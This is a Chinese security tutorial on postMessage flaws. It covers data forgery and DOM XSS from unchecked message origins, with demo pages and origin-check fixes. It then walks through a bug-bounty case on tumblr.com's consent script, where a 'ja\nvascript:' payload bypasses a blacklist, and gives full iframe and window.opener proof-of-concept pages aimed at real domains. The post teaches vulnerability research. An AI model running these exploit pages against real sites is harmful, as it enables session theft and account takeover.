【網路安全】PostMessage:分析JS實現XSS

秋说發表於2024-09-02

未經許可,不得轉載。

目錄
  • 前言
  • 示例
  • 正文

前言

PostMessage是一個用於在網頁間安全地傳送訊息的瀏覽器 API。它允許不同的視窗(例如,來自同一域名下的不同頁面或者不同域名下的跨域頁面)進行通訊,而無需透過伺服器。通常情況下,它用於實現跨文件訊息傳遞(Cross-Document Messaging),這在一些複雜的網頁應用和瀏覽器外掛中非常有用。

示例

在深入學習本文前,透過父子視窗間的訊息傳遞示例程式碼+瀏覽器回顯帶領讀者瞭解必要的知識。

1、send.html透過 postMessage 函式向receive.html傳送訊息:

<!--send.html-->
<!DOCTYPE html>
<html>
<head>
    <title>傳送介面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('receive.html', 'popup', 'height=300px, width=300px');
        }
        
        function sendMessage() {
            //傳送的資料內容
            let msg = { content: "玲瓏安全漏洞挖掘培訓vx: bc52013" };
            //傳送訊息到任意目標源
            child.postMessage(msg, '*');
        }
    </script>
</head>
<body>
    <input type='button' id='btnopen' value='開啟子視窗' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='傳送訊息' onclick='sendMessage();' />
</body>
</html>

2、receive.html透過監聽 message 事件來輸出收到的訊息:

<!--receive.html-->
<!DOCTYPE html>
<html>
<head>
    <title>接收介面</title>
    <meta charset="utf-8" />
    <script>
        //新增事件監控訊息
        window.addEventListener("message", (event) => {
            let txt = document.getElementById("msg");
            //接收傳輸過來的變數資料
            txt.value = `接收到的訊息為:${event.data.content}`;
        });
    </script>
</head>
<body>
    <h1>接收介面(子視窗)</h1>
    <input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

3、在send.html點選開啟子視窗後彈出子視窗:

4、點選傳送訊息後,接收介面收到並且列印訊息內容“玲瓏安全漏洞挖掘培訓vx: bc52013”

如上,透過PostMessage實現了父子視窗間的訊息傳遞。

然而,若程式碼書寫不規範將導致安全問題。

1、資料偽造

由於receive.html沒有設定信任源,因此任意頁面都可向該頁面傳送資料,導致資料偽造。

<!--資料偽造.html-->
<!DOCTYPE html>
<html>
<head>
    <title>資料偽造介面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('receive.html', 'popup', 'height=300px, width=300px');
        }
        
        function sendMessage() {
            //傳送的資料內容
            let msg = { content: "ICE" };
            //傳送訊息到任意目標源
            child.postMessage(msg, '*');
        }
    </script>
</head>
<body>
    <input type='button' id='btnopen' value='開啟子視窗' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='傳送訊息' onclick='sendMessage();' />
</body>
</html>

如圖,接收方本應接收到的訊息為:

而在資料偽造介面開啟子視窗併傳送訊息後,接收介面接收到偽造資料:

2、XSS

當傳送引數可控且接收方處理不當時,將導致DOM XSS

例如,受害方接收一個可控的URL引數:

<!--受害方.html-->
<!DOCTYPE html>
<html>
<head>
    <title>受害方介面</title>
    <meta charset="utf-8" />
    <script>
        //新增事件監控訊息
        window.addEventListener("message", (event) => {
            location.href=`${event.data.url}`;
        });
    </script>
</head>
<body>
    <h1>受害方介面(子視窗)</h1>
</body>
</html>

於是可以構造惡意請求,實現XSS:

<!--攻擊方實現XSS.html-->
<!DOCTYPE html>
<html>
<head>
    <title>攻擊方實現XSS介面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('受害方.html', 'popup', 'height=300px, width=300px');
        }
        
        function sendMessage() {
            //傳送的資料內容
            let msg = { url:"javascript:alert('玲瓏安全漏洞挖掘培訓')" };
            //傳送訊息到任意目標源
            child.postMessage(msg, '*');
        }
    </script>
</head>
<body>
    <input type='button' id='btnopen' value='開啟子視窗' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='傳送訊息' onclick='sendMessage();' />
</body>
</html>

在攻擊方介面開啟子視窗:

點選傳送訊息後,受害方執行JS程式碼:

同時,當頁面中不包含X-Frame-Options標頭時,還可利用 <iframe>標籤巢狀受害方頁面並傳遞可控引數,以執行JS程式碼:

<!-- 攻擊方: hacker.html -->
<!DOCTYPE html>
<html>
<head>
    <title>XSS-iframe</title>
</head>

<body>
    <iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body>

<script type="text/javascript">
    var iframe = window.frames.attack;
    function xss() {
        let msg = {url: "javascript:alert(document.domain)"};
        iframe.postMessage(msg, '*');
    }
</script>
</html>

攻擊效果如圖:

漏洞危害如下:

(i)竊取使用者敏感資料(個人資料、訊息等)

(ii)竊取 CSRF 令牌並以使用者的名義執行惡意操作

(iii)竊取賬戶憑證並接管使用者賬戶

修復緩解方案

1、傳送方應驗證目標源,確保訊息只能被預期的接收方處理:

接收方應使用指定的信任域:

此時,點選傳送訊息後,受害方介面不再執行彈窗,因為攻擊方指定的目標源是https協議,而受害方僅指定http://127.0.0.1為信任源:

當攻擊方頁面指定127.0.0.1的http協議時,由於攻擊方頁面與受害者頁面均在該伺服器上,因此能夠實現XSS:

正文

進入tumblr.com,在cmpStub.min.js檔案中存在如下函式,其不檢查 postMessage 的來源:

!function() {
            var e = !1;
            function t(e) {
                var t = "string" == typeof e.data
                  , n = e.data;
                if (t)
                    try {
                        n = JSON.parse(e.data)
                    } catch (e) {}
                if (n && n.__cmpCall) {
                    var r = n.__cmpCall;
                    window.__cmp(r.command, r.parameter, function(n, o) {
                        var a = {
                            __cmpReturn: {
                                returnValue: n,
                                success: o,
                                callId: r.callId
                            }
                        };
                        e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
                        //不檢查來源,為後續測試提供可能性
                    })
                }
            }

主要含義:接收並解析 JSON 資料 (e.data),將其轉換為 JavaScript 物件 (n);執行 __cmpCall 中指定的命令和引數,並將執行結果封裝成返回物件 a;最後透過 postMessage 方法將處理結果傳送回訊息來源。

跟進__cmp() 函式,看看應用程式對資料進行了何種處理:

     if (e)
                return {
                    init: function(e) {
                        if (!l.a.isInitialized())
                            if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
                            p.uiUrl || p.organizationId)
                                if (c.a.isSafeUrl(p.uiUrl)) {
                                    p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
                                    g.setGdpr("S"),
                                    g.setPublisherId(p.organizationId)),
                                    (t = p.sharedConsentDomain) && r.a.init(t),
                                    s.a.setCookieDomain(p.cookieDomain);
                                    var n = s.a.getGdprApplies();
                                    !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
                                    h(function(e) {
                                        e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                    }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
                                        n || (e = !0),
                                        s.a.setIsUserInEU(e),
                                        e ? (g.setGdpr("L"),
                                        h(function(e) {
                                            e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                        }, !0)) : l.a.initializationComplete()
                                    })
                                } else
                                    c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

可以看出,c.a.isSafeUrl(p.uiUrl))為真才將繼續執行。

跟進isSafeUrl函式:

isSafeUrl: function(e) {
           return -1 === (e = (e || "").replace(" ",
           "")).toLowerCase().indexOf("javascript:")
    },

若p.uiUrl(即e)中存在javascript,則返回假。

所以這裡是為了防止JS程式碼執行,而通常使用黑名單的防護方式是容易被繞過的。

那麼傳入的p.uiUrl引數後續會經過什麼處理呢?

在上面的程式碼中,還存在該行程式碼:

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

跟進b()函式:

b = function(e) {
            g.markConsentRenderStartTime();
            var n = p.uiUrl ? i.a : a.a;
            l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
                p.consentString = t,
                n.renderConsents(p, function(n, t) {
                    g.setType("C").setGdprConsent(n).fire(),
                    w(n),
                    "function" == typeof e && e(n, t)
                })
            }) : n.renderConsents(p, function(n, t) {
                g.setType("C").setGdprConsent(n).fire(),
                w(n),
                "function" == typeof e && e(n, t)
            })

再跟進關鍵的renderConsents() 函式:

         renderConsents: function(n, p) {
                if ((t = n || {}).siteDomain = window.location.origin,
                r = t.uiUrl) {
                    if (p && u.push(p),
                    !document.getElementById("cmp-container-id")) {
                        (i = document.createElement("div")).id = "cmp-container-id",
                        i.style.position = "fixed",
                        i.style.background = "rgba(0,0,0,.5)",
                        i.style.top = 0,
                        i.style.right = 0,
                        i.style.bottom = 0,
                        i.style.left = 0,
                        i.style.zIndex = 1e4,
                        document.body.appendChild(i),
                        (a = document.createElement("iframe")).style.position = "fixed",
                        a.src = r,
                        a.id = "cmp-ui-iframe",
                        a.width = 0,
                        a.height = 0,
                        a.style.display = "block",
                        a.style.border = 0,
                        i.style.zIndex = 10001,
                        l(),

可以看到該函式將建立iframe元素,而該元素的src屬性就是我們可控的p.uiUrl。

綜上所述,整體流程如下:

傳入的資料進入cmp()函式處理 -> 處理時執行issafeurl函式判斷資料是否合法 -> 若合法,則執行renderConsents()函式,構造iframe

知悉引數從傳遞到處理的流程後,就可以構造Payload了。

現在的目的是繞過isSafeUrl函式,而恰好,JavaScript 在處理字串時,會忽略掉換行符、製表符等空白字元(無害髒資料):

因此,依據__cmp() 函式,以JSON形式構造Payload如下:

{
    "__cmpCall": {
        "command": "init",
        "parameter": {
            "uiUrl": "ja\nvascript:alert(document.domain)",
            "uiCustomParams": "ice",
            "organizationId": "ice",
            "gdprAppliesGlobally": "ice"
        }
    }
}

使用iframe巢狀受攻擊頁面:

<html>
    <body>
        <script>
            window.setInterval(function(e) {
                try {
                    window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");
                } catch(e) {}
            }, 100);
        </script>
        <iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
    </body>
</html>

成功實現XSS:

以上是頁面中不包含X-Frame-Options標頭的情況,導致我們能巢狀受攻擊頁面。

若頁面中包含X-Frame-Options 標頭,則我們不能巢狀受攻擊頁面。這種情況下,可透過 window.opener 實現兩個瀏覽器選項卡之間的連線,再傳送 postMessage 訊息,實現XSS。

在tumblr.com頁面存在X-Frame-Options標頭,但也含有cmpStub.min.js檔案的情況下,攻擊程式碼如下所示:

<html>
<body>
<script>
function e() {
    window.setTimeout(function() {
        window.location.href = "https://www.tumblr.com/embed/post/";
    }, 500);
}
window.setInterval(function(e) {
    try {
        window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");
    } catch(e) {}
}, 100);
</script>

<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>

成功實現XSS:

參考連結:

https://www.cnblogs.com/piaomiaohongchen/p/18305112

https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

相關文章